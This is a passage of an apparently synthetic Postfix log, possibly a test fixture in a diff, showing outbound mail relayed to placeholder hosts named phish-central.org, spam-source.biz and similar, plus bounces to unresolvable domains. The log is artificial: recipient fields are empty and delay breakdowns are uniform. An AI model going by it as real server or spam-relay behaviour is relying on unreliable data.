postfix/smtp[28870]: 76A5B2B25B: to=, relay=phish-central.org[203.0.113.111]:25, delay=1.82, delays=0.455/0.455/0.455/0.455, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 928DF4) +Jul 05 08:04:02 server postfix/smtp[20673]: 6A76428693: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=1.34, delays=0.335/0.335/0.335/0.335, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B7DA6A) +Jul 05 08:04:02 server postfix/smtp[21574]: AAFCFD5006: to=, relay=none, delay=2.07, delays=0.5175/0.5175/0.5175/0.5175, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:04:02 server postfix/smtp[22579]: D255A59878: to=, relay=none, delay=1.44, delays=0.36/0.36/0.36/0.36, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:02 server postfix/smtp[29064]: 159DB269E1: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=1.14, delays=0.285/0.285/0.285/0.285, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B461BF) +Jul 05 08:04:03 server postfix/smtp[20601]: 0B34A4ACED: to=, relay=none, delay=0.82, delays=0.205/0.205/0.205/0.205, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:04:03 server postfix/smtp[22281]: AEBE2F1562: to=, relay=spam-source.biz[203.0.113.88]:25, delay=0.75, delays=0.1875/0.1875/0.1875/0.1875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 895344) +Jul 05 08:04:03 server postfix/smtp[22283]: 81B66C376A: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.83, delays=0.7075/0.7075/0.7075/0.7075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 33C4F1) +Jul 05 08:04:05 server postfix/smtp[23359]: 3B83CB4EFF: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=0.97, delays=0.2425/0.2425/0.2425/0.2425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FD5A09) +Jul 05 08:04:06 server postfix/smtp[21484]: 2943B81A33: to=, relay=example.com[203.0.113.111]:25, delay=2.67, delays=0.6675/0.6675/0.6675/0.6675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A748AF) +Jul 05 08:04:06 server postfix/smtp[22082]: 0AA91CE62C: to=, relay=none, delay=0.93, delays=0.2325/0.2325/0.2325/0.2325, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:04:07 server postfix/smtp[20025]: DEF1E2AC7F: to=, relay=phish-central.org[192.0.2.15]:25, delay=0.66, delays=0.165/0.165/0.165/0.165, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 723307) +Jul 05 08:04:07 server postfix/smtp[26730]: 8D0D146FD1: to=, relay=none, delay=0.7, delays=0.175/0.175/0.175/0.175, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:08 server postfix/smtp[20094]: 1563222402: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=0.86, delays=0.215/0.215/0.215/0.215, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 303534) +Jul 05 08:04:08 server postfix/smtp[22045]: 62F9D0E6C4: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.17, delays=0.2925/0.2925/0.2925/0.2925, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2408CC) +Jul 05 08:04:08 server postfix/smtp[29486]: 6A913A5A4C: to=, relay=example.com[203.0.113.111]:25, delay=2.58, delays=0.645/0.645/0.645/0.645, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9361BA) +Jul 05 08:04:09 server postfix/smtp[24967]: B08E9BA7FC: to=, relay=none, delay=1.3, delays=0.325/0.325/0.325/0.325, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:10 server CRON[14787]: (root) CMD (run-parts --report /etc/cron.hourly) +Jul 05 08:04:10 server postfix/smtp[23721]: AE5319E149: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.04, delays=0.26/0.26/0.26/0.26, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 614A83) +Jul 05 08:04:10 server postfix/smtp[27768]: F43198D515: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.45, delays=0.6125/0.6125/0.6125/0.6125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4A7D4D) +Jul 05 08:04:11 server postfix/smtp[25731]: 870D66713B: to=, relay=example.com[198.51.100.23]:25, delay=1.8, delays=0.45/0.45/0.45/0.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E17AD6) +Jul 05 08:04:11 server postfix/smtp[29418]: CA6006FF84: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.53, delays=0.3825/0.3825/0.3825/0.3825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BA71B1) +Jul 05 08:04:12 server postfix/smtp[20599]: 74ED0AEC19: to=, relay=none, delay=0.89, delays=0.2225/0.2225/0.2225/0.2225, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:12 server postfix/smtp[23709]: 2A057A8B62: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.59, delays=0.3975/0.3975/0.3975/0.3975, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BF607A) +Jul 05 08:04:12 server postfix/smtp[25013]: 89B75FD21D: to=, relay=phish-central.org[192.0.2.15]:25, delay=1.31, delays=0.3275/0.3275/0.3275/0.3275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 63E9D8) +Jul 05 08:04:13 server postfix/smtp[24364]: CA097B3686: to=, relay=none, delay=1.69, delays=0.4225/0.4225/0.4225/0.4225, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:14 server postfix/smtp[20527]: 20A69FB113: to=, relay=spam-source.biz[192.0.2.15]:25, delay=1.88, delays=0.47/0.47/0.47/0.47, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7CC13C) +Jul 05 08:04:14 server postfix/smtp[21070]: C5FE34ADF9: to=, relay=phish-central.org[203.0.113.111]:25, delay=1.58, delays=0.395/0.395/0.395/0.395, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 84ACDF) +Jul 05 08:04:14 server postfix/smtp[21539]: B47446A48D: to=, relay=spam-source.biz[192.0.2.15]:25, delay=1.25, delays=0.3125/0.3125/0.3125/0.3125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8DE2FB) +Jul 05 08:04:14 server postfix/smtp[28788]: 347948E829: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.16, delays=0.54/0.54/0.54/0.54, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 92A7F6) +Jul 05 08:04:16 server postfix/smtp[22046]: 7A858B2D8D: to=, relay=none, delay=1.81, delays=0.4525/0.4525/0.4525/0.4525, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:16 server postfix/smtp[24752]: 9FE9FD54A1: to=, relay=phish-central.org[203.0.113.111]:25, delay=2.01, delays=0.5025/0.5025/0.5025/0.5025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2B6A25) +Jul 05 08:04:16 server postfix/smtp[27610]: 098E2F0BAB: to=, relay=none, delay=1.92, delays=0.48/0.48/0.48/0.48, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:16 server postfix/smtp[28058]: F8BEFAD9DD: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=1.77, delays=0.4425/0.4425/0.4425/0.4425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B0ED66) +Jul 05 08:04:17 server postfix/smtp[24830]: 01605B34FC: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=0.99, delays=0.2475/0.2475/0.2475/0.2475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7B7328) +Jul 05 08:04:17 server postfix/smtp[24869]: 0D7F0635ED: to=, relay=phish-central.org[192.0.2.15]:25, delay=0.88, delays=0.22/0.22/0.22/0.22, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B72CB9) +Jul 05 08:04:17 server postfix/smtp[25459]: 6F7ACA3375: to=, relay=spam-source.biz[198.51.100.23]:25, delay=1.14, delays=0.285/0.285/0.285/0.285, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C8CF2C) +Jul 05 08:04:19 server postfix/smtp[26443]: 998375B538: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.62, delays=0.405/0.405/0.405/0.405, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 75FCD6) +Jul 05 08:04:20 server postfix/smtp[25337]: 002059E394: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.16, delays=0.29/0.29/0.29/0.29, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 98C66E) +Jul 05 08:04:20 server postfix/smtp[27390]: 4A6A8AC2C8: to=, relay=none, delay=0.8, delays=0.2/0.2/0.2/0.2, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:04:21 server postfix/smtp[22611]: 46160EBCC6: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.95, delays=0.4875/0.4875/0.4875/0.4875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as EB6E1F) +Jul 05 08:04:21 server postfix/smtp[25259]: B15CF29C84: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=0.58, delays=0.145/0.145/0.145/0.145, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4E7E98) +Jul 05 08:04:21 server postfix/smtp[28769]: DFE3DCCAC7: to=, relay=example.com[192.0.2.15]:25, delay=1.64, delays=0.41/0.41/0.41/0.41, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C7E677) +Jul 05 08:04:22 server postfix/smtp[22284]: 77F9AF3E96: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.72, delays=0.43/0.43/0.43/0.43, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 2AE005) +Jul 05 08:04:23 server postfix/smtp[21022]: C8A9209709: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=2.07, delays=0.5175/0.5175/0.5175/0.5175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CE5C27) +Jul 05 08:04:23 server postfix/smtp[23339]: 44414FADC8: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=1.8, delays=0.45/0.45/0.45/0.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 00C678) +Jul 05 08:04:23 server postfix/smtp[26360]: 716E121904: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=1.39, delays=0.3475/0.3475/0.3475/0.3475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A8DADE) +Jul 05 08:04:25 server postfix/smtp[26666]: 231E8CEE32: to=, relay=spam-source.biz[198.51.100.23]:25, delay=2.26, delays=0.565/0.565/0.565/0.565, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4A54FC) +Jul 05 08:04:26 server postfix/smtp[25493]: 31ED8F4C4F: to=, relay=example.com[203.0.113.111]:25, delay=1.42, delays=0.355/0.355/0.355/0.355, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E464EA) +Jul 05 08:04:26 server postfix/smtp[26427]: 0516E861C5: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.65, delays=0.6625/0.6625/0.6625/0.6625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 47C20D) +Jul 05 08:04:26 server postfix/smtp[29507]: 5990FF6AED: to=, relay=none, delay=0.66, delays=0.165/0.165/0.165/0.165, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:27 server postfix/smtp[20801]: 846791E6B8: to=, relay=example.com[192.0.2.15]:25, delay=0.62, delays=0.155/0.155/0.155/0.155, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DFBC70) +Jul 05 08:04:27 server postfix/smtp[24555]: 5F57C8EE05: to=, relay=phish-central.org[203.0.113.111]:25, delay=1.58, delays=0.395/0.395/0.395/0.395, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 56F477) +Jul 05 08:04:27 server postfix/smtp[24946]: 231D2C1515: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=2.08, delays=0.52/0.52/0.52/0.52, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D50544) +Jul 05 08:04:27 server postfix/smtp[27899]: 1129AB3507: to=, relay=none, delay=1.75, delays=0.4375/0.4375/0.4375/0.4375, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:04:29 server postfix/smtp[23628]: 6CF61F3FD9: to=, relay=phish-central.org[192.0.2.15]:25, delay=0.97, delays=0.2425/0.2425/0.2425/0.2425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 8D507A) +Jul 05 08:04:30 server postfix/smtp[27046]: 1576BB0478: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=2.93, delays=0.7325/0.7325/0.7325/0.7325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as F049C6) +Jul 05 08:04:31 server postfix/smtp[26855]: 57A385E91F: to=, relay=example.com[203.0.113.88]:25, delay=1.95, delays=0.4875/0.4875/0.4875/0.4875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 60E30E) +Jul 05 08:04:31 server postfix/smtp[29437]: BDC74FE13C: to=, relay=example.com[192.0.2.15]:25, delay=0.75, delays=0.1875/0.1875/0.1875/0.1875, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7F9471) +Jul 05 08:04:32 server postfix/smtp[24891]: D6F341B5D7: to=, relay=spam-source.biz[203.0.113.111]:25, delay=0.66, delays=0.165/0.165/0.165/0.165, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 294359) +Jul 05 08:04:32 server postfix/smtp[24956]: 0AEC7BB961: to=, relay=none, delay=1.34, delays=0.335/0.335/0.335/0.335, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:32 server postfix/smtp[29298]: 686E73E4A2: to=, relay=phish-central.org[192.0.2.15]:25, delay=2.31, delays=0.5775/0.5775/0.5775/0.5775, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BDCDDC) +Jul 05 08:04:34 server postfix/smtp[22460]: 422F1BB639: to=, relay=phish-central.org[203.0.113.111]:25, delay=0.88, delays=0.22/0.22/0.22/0.22, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 56BBB3) +Jul 05 08:04:34 server postfix/smtp[23939]: A0934AC14D: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=1.2, delays=0.3/0.3/0.3/0.3, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DCA816) +Jul 05 08:04:34 server postfix/smtp[28696]: 46B0A5972B: to=, relay=none, delay=2.84, delays=0.71/0.71/0.71/0.71, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=invalid-recipient.net type=A: Host not found) +Jul 05 08:04:34 server postfix/smtp[29746]: A032AD18F8: to=, relay=example.com[203.0.113.88]:25, delay=2.83, delays=0.7075/0.7075/0.7075/0.7075, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 278D3F) +Jul 05 08:04:35 server postfix/smtp[21729]: 816E210F16: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.65, delays=0.4125/0.4125/0.4125/0.4125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FD3A24) +Jul 05 08:04:35 server postfix/smtp[26102]: A554DCF4C8: to=, relay=bad-actor-mail.co[203.0.113.111]:25, delay=0.9, delays=0.225/0.225/0.225/0.225, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 541614) +Jul 05 08:04:35 server postfix/smtp[28303]: 1C32A164FB: to=, relay=example.com[203.0.113.88]:25, delay=2.67, delays=0.6675/0.6675/0.6675/0.6675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as FC958B) +Jul 05 08:04:36 server postfix/smtp[25924]: F68A88ECA4: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=1.82, delays=0.455/0.455/0.455/0.455, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4DF7BB) +Jul 05 08:04:37 server postfix/smtp[29307]: 043F71CD89: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.2, delays=0.55/0.55/0.55/0.55, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CBC139) +Jul 05 08:04:37 server postfix/smtp[29545]: 44B789AD2C: to=, relay=spam-source.biz[203.0.113.88]:25, delay=1.21, delays=0.3025/0.3025/0.3025/0.3025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CB4C1A) +Jul 05 08:04:39 server postfix/smtp[21673]: 12768AA38E: to=, relay=phish-central.org[198.51.100.23]:25, delay=2.51, delays=0.6275/0.6275/0.6275/0.6275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 78BD1E) +Jul 05 08:04:39 server postfix/smtp[23264]: 945D38105D: to=, relay=none, delay=1.94, delays=0.485/0.485/0.485/0.485, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:39 server postfix/smtp[26167]: 1E0A89E801: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=2.51, delays=0.6275/0.6275/0.6275/0.6275, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 512D5D) +Jul 05 08:04:40 server postfix/smtp[24845]: 6FA626E48D: to=, relay=phish-central.org[203.0.113.111]:25, delay=2.14, delays=0.535/0.535/0.535/0.535, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D9FB3F) +Jul 05 08:04:41 server postfix/smtp[25132]: 09DFAA7257: to=, relay=example.com[203.0.113.88]:25, delay=2.29, delays=0.5725/0.5725/0.5725/0.5725, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 98EB30) +Jul 05 08:04:41 server postfix/smtp[27301]: EACD84A50D: to=, relay=example.com[203.0.113.88]:25, delay=1.43, delays=0.3575/0.3575/0.3575/0.3575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 407EAF) +Jul 05 08:04:42 server postfix/smtp[20019]: D9372065B1: to=, relay=mail-scammer.net[198.51.100.23]:25, delay=1.05, delays=0.2625/0.2625/0.2625/0.2625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C73B6C) +Jul 05 08:04:42 server postfix/smtp[21294]: 24B46732FC: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.84, delays=0.71/0.71/0.71/0.71, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as A88253) +Jul 05 08:04:42 server postfix/smtp[24367]: C7A9C97EDB: to=, relay=none, delay=1.01, delays=0.2525/0.2525/0.2525/0.2525, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:04:42 server postfix/smtp[29402]: B2C00F0D66: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.8, delays=0.45/0.45/0.45/0.45, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 0F8E20) +Jul 05 08:04:43 server postfix/smtp[20714]: BF8BF47FA7: to=, relay=none, delay=2.37, delays=0.5925/0.5925/0.5925/0.5925, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:43 server postfix/smtp[22067]: C9D6262F71: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=0.98, delays=0.245/0.245/0.245/0.245, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 08105B) +Jul 05 08:04:43 server postfix/smtp[23893]: B44152D556: to=, relay=none, delay=0.91, delays=0.2275/0.2275/0.2275/0.2275, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=blacklisted-server.com type=A: Host not found) +Jul 05 08:04:43 server postfix/smtp[23997]: 6AE768A3FB: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=2.57, delays=0.6425/0.6425/0.6425/0.6425, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 039476) +Jul 05 08:04:43 server postfix/smtp[24080]: 6801EF69DF: to=, relay=phish-central.org[203.0.113.88]:25, delay=0.95, delays=0.2375/0.2375/0.2375/0.2375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 7C386A) +Jul 05 08:04:44 server postfix/smtp[20688]: CA84758364: to=, relay=none, delay=1.2, delays=0.3/0.3/0.3/0.3, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:44 server postfix/smtp[21809]: A6C3DCC2E0: to=, relay=none, delay=1.27, delays=0.3175/0.3175/0.3175/0.3175, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:45 server postfix/smtp[28916]: F3D869325E: to=, relay=phish-central.org[203.0.113.111]:25, delay=2.88, delays=0.72/0.72/0.72/0.72, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D57AB2) +Jul 05 08:04:46 server postfix/smtp[22354]: 696A016EF9: to=, relay=phish-central.org[203.0.113.111]:25, delay=0.73, delays=0.1825/0.1825/0.1825/0.1825, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as AD8B8D) +Jul 05 08:04:46 server postfix/smtp[22363]: 1E3C93596C: to=, relay=example.com[203.0.113.111]:25, delay=1.65, delays=0.4125/0.4125/0.4125/0.4125, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as E92173) +Jul 05 08:04:47 server postfix/smtp[23765]: 0D083F5E13: to=, relay=phish-central.org[203.0.113.88]:25, delay=0.8, delays=0.2/0.2/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 651CEF) +Jul 05 08:04:47 server postfix/smtp[29085]: 176BDDA12E: to=, relay=example.com[203.0.113.88]:25, delay=2.81, delays=0.7025/0.7025/0.7025/0.7025, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 92CB4F) +Jul 05 08:04:48 server postfix/smtp[21872]: 31EC827F67: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=1.72, delays=0.43/0.43/0.43/0.43, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B73E33) +Jul 05 08:04:48 server postfix/smtp[26193]: 263D1B8B96: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.88, delays=0.72/0.72/0.72/0.72, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as D4C9BC) +Jul 05 08:04:48 server postfix/smtp[27232]: A332EAB425: to=, relay=none, delay=1.99, delays=0.4975/0.4975/0.4975/0.4975, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:04:49 server postfix/smtp[25876]: 79A844D664: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=1.3, delays=0.325/0.325/0.325/0.325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 945A1F) +Jul 05 08:04:49 server postfix/smtp[26755]: BF254E7932: to=, relay=bad-actor-mail.co[203.0.113.88]:25, delay=1.67, delays=0.4175/0.4175/0.4175/0.4175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 3CE050) +Jul 05 08:04:49 server postfix/smtp[28098]: E09DEE7BFB: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=2.66, delays=0.665/0.665/0.665/0.665, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DE3BC0) +Jul 05 08:04:50 server postfix/smtp[24727]: 30746F3B14: to=, relay=mail-scammer.net[203.0.113.88]:25, delay=0.74, delays=0.185/0.185/0.185/0.185, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 92D5B0) +Jul 05 08:04:50 server postfix/smtp[25029]: 39E55D5F8C: to=, relay=phish-central.org[192.0.2.15]:25, delay=0.65, delays=0.1625/0.1625/0.1625/0.1625, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CCACB6) +Jul 05 08:04:50 server postfix/smtp[25348]: E5D6F9A585: to=, relay=none, delay=2.03, delays=0.5075/0.5075/0.5075/0.5075, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:04:50 server postfix/smtp[29086]: C4C0E665C2: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.43, delays=0.3575/0.3575/0.3575/0.3575, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 839C8A) +Jul 05 08:04:51 server postfix/smtp[21486]: E769F39885: to=, relay=example.com[203.0.113.88]:25, delay=2.86, delays=0.715/0.715/0.715/0.715, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 4A2CB7) +Jul 05 08:04:51 server postfix/smtp[22858]: B00D272C4F: to=, relay=example.com[203.0.113.111]:25, delay=0.84, delays=0.21/0.21/0.21/0.21, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BBEB46) +Jul 05 08:04:52 server postfix/smtp[24073]: E3DB4D69AC: to=, relay=bad-actor-mail.co[192.0.2.15]:25, delay=0.86, delays=0.215/0.215/0.215/0.215, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 315A88) +Jul 05 08:04:52 server postfix/smtp[24902]: EFA1D35DF8: to=, relay=spam-source.biz[203.0.113.111]:25, delay=2.27, delays=0.5675/0.5675/0.5675/0.5675, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BE9005) +Jul 05 08:04:52 server postfix/smtp[25171]: EF85193455: to=, relay=spam-source.biz[203.0.113.88]:25, delay=0.64, delays=0.16/0.16/0.16/0.16, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as BACCE6) +Jul 05 08:04:53 server postfix/smtp[23693]: 77107D0F33: to=, relay=phish-central.org[203.0.113.111]:25, delay=0.87, delays=0.2175/0.2175/0.2175/0.2175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 66969D) +Jul 05 08:04:53 server postfix/smtp[25767]: D98898BD2F: to=, relay=mail-scammer.net[192.0.2.15]:25, delay=0.93, delays=0.2325/0.2325/0.2325/0.2325, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 76CC7C) +Jul 05 08:04:53 server postfix/smtp[28468]: E0572505CF: to=, relay=example.com[203.0.113.111]:25, delay=0.7, delays=0.175/0.175/0.175/0.175, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as B1D749) +Jul 05 08:04:54 server postfix/smtp[24335]: B02892AC5F: to=, relay=example.com[203.0.113.111]:25, delay=1.39, delays=0.3475/0.3475/0.3475/0.3475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as CCF935) +Jul 05 08:04:54 server postfix/smtp[25036]: 498A3DE0F0: to=, relay=spam-source.biz[203.0.113.111]:25, delay=1.26, delays=0.315/0.315/0.315/0.315, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 543B20) +Jul 05 08:04:55 server postfix/smtp[21286]: BB356106C3: to=, relay=phish-central.org[203.0.113.88]:25, delay=2.37, delays=0.5925/0.5925/0.5925/0.5925, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 1AD9C7) +Jul 05 08:04:55 server postfix/smtp[27338]: 8DBD279979: to=, relay=phish-central.org[203.0.113.88]:25, delay=1.98, delays=0.495/0.495/0.495/0.495, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as C387A6) +Jul 05 08:04:56 server postfix/smtp[20258]: 5FC67959E9: to=, relay=bad-actor-mail.co[198.51.100.23]:25, delay=0.8, delays=0.2/0.2/0.2/0.2, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 767120) +Jul 05 08:04:56 server postfix/smtp[22308]: 2A7886AD8E: to=, relay=none, delay=1.85, delays=0.4625/0.4625/0.4625/0.4625, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=domain-not-found.xyz type=A: Host not found) +Jul 05 08:04:56 server postfix/smtp[27308]: 7664283761: to=, relay=mail-scammer.net[203.0.113.111]:25, delay=2.74, delays=0.685/0.685/0.685/0.685, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 9CB804) +Jul 05 08:04:57 server postfix/smtp[23285]: BA14E7A4A8: to=, relay=phish-central.org[198.51.100.23]:25, delay=1.39, delays=0.3475/0.3475/0.3475/0.3475, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as DFFA83) +Jul 05 08:04:57 server postfix/smtp[25286]: 5E32321F2C: to=, relay=spam-source.biz[192.0.2.15]:25, delay=2.15, delays=0.5375/0.5375/0.5375/0.5375, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 950218) +Jul 05 08:04:57 server postfix/smtp[27187]: 0632D3B489: to=, relay=none, delay=0.96, delays=0.24/0.24/0.24/0.24, dsn=5.4.4, status=bounced (Host or domain name not found. Name service error for name=no-such-domain.org type=A: Host not found) +Jul 05 08:04:58 server postfix/smtp[28467]: 4900460CEB: to=, relay=phish-central.org[192.0.2.15]:25, delay=1.98, delays=0.495/0.495/0.495/0.495, dsn=2.0.0, status=sent (250 2.0.0 OK: queued as 49B0AF) +Jul 05 08:04:59 server postfix/smtp[28590]: 645C42CC95: to=, relay=example.com[203.0.113.88]:25, delay=2.54, delays=0.635/0.635/0.635/0.635, dsn=2.0.0, status=sent (250 2.0.0 